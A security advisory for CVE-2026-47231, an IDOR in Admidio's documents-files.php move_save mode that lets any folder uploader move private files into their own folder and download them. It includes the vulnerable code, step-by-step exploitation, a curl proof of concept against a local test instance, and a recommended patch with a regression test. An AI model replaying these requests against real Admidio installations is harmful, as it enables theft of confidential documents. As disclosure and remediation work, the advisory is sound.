GHSA-x628-457g-2pw9 CVE-2026-47231
Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.35%
- Chance of exploitation in the next 30 days. Higher than 28.63% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
5.0.10- Upgrade admidio/admidio to this version or later
Description
Summary
modules/documents-files.php gates state-changing modes by checking that the actor has hasUploadRight() on the URL parameter folder_uuid. The move_save handler then operates on a separate URL parameter file_uuid and calls File::moveToFolder($destFolderUUID). File::moveToFolder() checks the upload right on the destination folder but never on the source folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder — including private folders to which they have no view rights — into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).
Details
Vulnerable Code
modules/documents-files.php:79-89 — top-level rights check binds to URL folder_uuid:
if ($getMode != 'list' && $getMode != 'download') {
// check the rights of the current folder
// user must be administrator or must have the right to upload files
$folder = new Folder($gDb);
$folder->getFolderForDownload($getFolderUUID);
if (!$folder->hasUploadRight()) {
$gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
// => EXIT
}
}
modules/documents-files.php:187-204 — the move_save branch loads the file by UUID without revalidating the file's actual parent folder:
case 'move_save':
$documentsFilesMoveForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $documentsFilesMoveForm->validate($_POST);
if ($getFileUUID !== '') {
$file = new File($gDb);
$file->readDataByUuid($getFileUUID); // <-- no permission check on the file's source folder
$file->moveToFolder($formValues['adm_destination_folder_uuid']);
} else {
$folder = new Folder($gDb);
$folder->readDataByUuid($getFolderUUID);
$folder->moveToFolder($formValues['adm_destination_folder_uuid']);
}
$gNavigation->deleteLastUrl();
echo json_encode(array('status' => 'success', 'url' => $gNavigation->getUrl()));
break;
src/Documents/Entity/File.php:212-223 — moveToFolder checks only the destination:
public function moveToFolder(string $destFolderUUID)
{
$folder = new Folder($this->db);
$folder->readDataByUuid($destFolderUUID);
if ($folder->hasUploadRight()) { // <-- destination only
FileSystemUtils::moveFile($this->getFullFilePath(),
$folder->getFullFolderPath() . '/' . $this->getValue('fil_name'));
$this->setValue('fil_fol_id', $folder->getValue('fol_id'));
$this->save();
}
}
There is no check that the actor has any right (view, edit, upload) on the folder that currently contains the file. The file_uuid URL parameter is independent of folder_uuid, so an attacker can pass folder_uuid=<a folder I can upload to> together with file_uuid=<a file in a folder I cannot read>. The top-level rights check passes; the destination check passes; the file is moved.
Exploitation Primitive
- Attacker user
lowuserholdsfolder_uploadon a single Documents folderpublic_uploadable(UUIDc41a99c0-…). They have no view or edit rights onprivate_admin_only(UUIDdb1f71b9-…, which is a role-restricted folder containingprivate_to_delete.txt, UUID559ed352-…). - Render the move form with mismatched UUIDs to register a form key in the session:
GET /modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-… - Submit
move_savewith the same mismatch:POST /modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…withadm_csrf_token=<from step 2>andadm_destination_folder_uuid=c41a99c0-…. Server replies{"status":"success"}. Theprivate_to_delete.txtrow inadm_filesnow hasfil_fol_idpointing at the public-uploadable folder. - Download the file from its new (publicly-accessible) location:
GET /modules/documents-files.php?mode=download&file_uuid=559ed352-…returns the bytes ofprivate_to_delete.txt.
PoC
Tested live on HEAD c5cde53. The trace below is the agent-captured run; I verified the code paths against the source listed above.
# 0. starting state — lowuser has upload right ONLY on c41a99c0-… (public_uploadable)
$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-…
"You do not have the required permission to perform this action."
# 1. render the move form using the public folder UUID (where lowuser has upload right)
# paired with the PRIVATE file UUID
$ curl -sb $cookie \
"http://127.0.0.1:8085/modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…"
# form rendered, CSRF token X is now in session
# 2. submit move_save with the same param mismatch
$ curl -sb $cookie -X POST \
"http://127.0.0.1:8085/modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…" \
-d "adm_csrf_token=X&adm_destination_folder_uuid=c41a99c0-…"
{"status":"success", "url":"…"}
# 3. download the leaked file
$ curl -sb $cookie \
"http://127.0.0.1:8085/modules/documents-files.php?mode=download&file_uuid=559ed352-…"
private_to_delete_data
The DB record for the file now points at the attacker's folder (fil_fol_id updated), and the file has been physically moved on disk by FileSystemUtils::moveFile.
Impact
Any user with folder_upload right on a single Documents folder gains:
- Read access to every file in private folders — admin-only documents, board-only files, leader-only resources, role-restricted attachments — by moving them into a folder the attacker owns and then downloading.
- Write/destruction primitive — the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file's permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder).
In multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding folder_upload on group A's public folder can lift any private file from group B.
PR:L reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). S:U because the impact stays inside the Documents module's own access-control model, but the access boundary it bypasses is the one that operators most rely on. C:H because confidentiality of any file in any private folder is broken; I:H because file location is mutated.
Recommended Fix
File::moveToFolder() must check that the actor has upload right (or at least edit / move right) on the file's source folder, not just on the destination. The minimal patch:
// src/Documents/Entity/File.php
public function moveToFolder(string $destFolderUUID)
{
// re-read the source folder this file currently lives in, and check rights on it
$sourceFolder = new Folder($this->db);
$sourceFolder->readData($this->getValue('fil_fol_id'));
if (!$sourceFolder->hasUploadRight()) {
throw new Exception('SYS_NO_RIGHTS');
}
$destFolder = new Folder($this->db);
$destFolder->readDataByUuid($destFolderUUID);
if (!$destFolder->hasUploadRight()) {
throw new Exception('SYS_NO_RIGHTS');
}
FileSystemUtils::moveFile($this->getFullFilePath(),
$destFolder->getFullFolderPath() . '/' . $this->getValue('fil_name'));
$this->setValue('fil_fol_id', $destFolder->getValue('fol_id'));
$this->save();
}
Equivalently, documents-files.php case 'move_save' should resolve the file's actual parent folder before the operation and call getFileForDownload() plus hasUploadRight() on that parent. The same fix is needed for Folder::moveToFolder() (the move-folder path is identical in shape).
A regression test should:
- Create user
lowuserwith upload right only on folder A. - Place a private file in folder B with no rights for
lowuser. - As
lowuser, rendermode=movewithfolder_uuid=A&file_uuid=<B's file>, thenPOST mode=move_savewith the same. - Assert the response is
SYS_NO_RIGHTSand the file'sfil_fol_idis unchanged.
Related
mode=file_rename_save shares the same root cause and is filed separately (06-documents-cross-folder-rename-idor.md); both bugs flow from the top-level rights check binding to URL folder_uuid rather than the file's actual parent.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| admidio/admidio | < 5.0.10 |
5.0.10 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
admidio/admidio Packagist → 5.0.10
- composer
composer require admidio/admidio:^5.0.10
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-hm42-q32m-vj4f Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests | Medium | Also affects admidio/admidio |
| GHSA-xw54-c3mx-9pm3 Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024 | Medium | Also affects admidio/admidio |
| GHSA-mch8-wf3h-6x88 Admidio writes session IDs and auto-login cookie values to application logs | Medium | Also affects admidio/admidio |
| GHSA-4rgq-38mh-9xqg Admidio PKCS#12 private key export action lacks CSRF protection | Medium | Also affects admidio/admidio |
| GHSA-q6w3-hpfv-rg36 Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders | Medium | Also affects admidio/admidio |
| GHSA-xg76-5qj2-2hhv Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation | Medium | Also affects admidio/admidio |
| GHSA-mx25-j3rc-6w2w Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords | Medium | Also affects admidio/admidio |
| GHSA-rwjr-qjj3-mq2f Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php` | Medium | Also affects admidio/admidio |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor